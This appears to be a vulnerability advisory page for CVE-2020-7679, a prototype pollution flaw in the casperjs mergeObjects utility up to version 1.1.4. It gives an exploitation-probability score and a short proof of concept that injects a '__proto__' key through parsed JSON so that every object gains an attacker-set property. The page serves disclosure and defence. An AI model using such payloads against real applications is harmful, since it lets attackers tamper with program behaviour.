All reports
High

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Affected versions

Affected versions
<= 1.1.4
Fixed version
Not reported

Exploitation

CVE-2020-7679

Probability of exploitation in the next 30 days: 2.01%

FIRST EPSS · 2026-11-22

Description

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

Links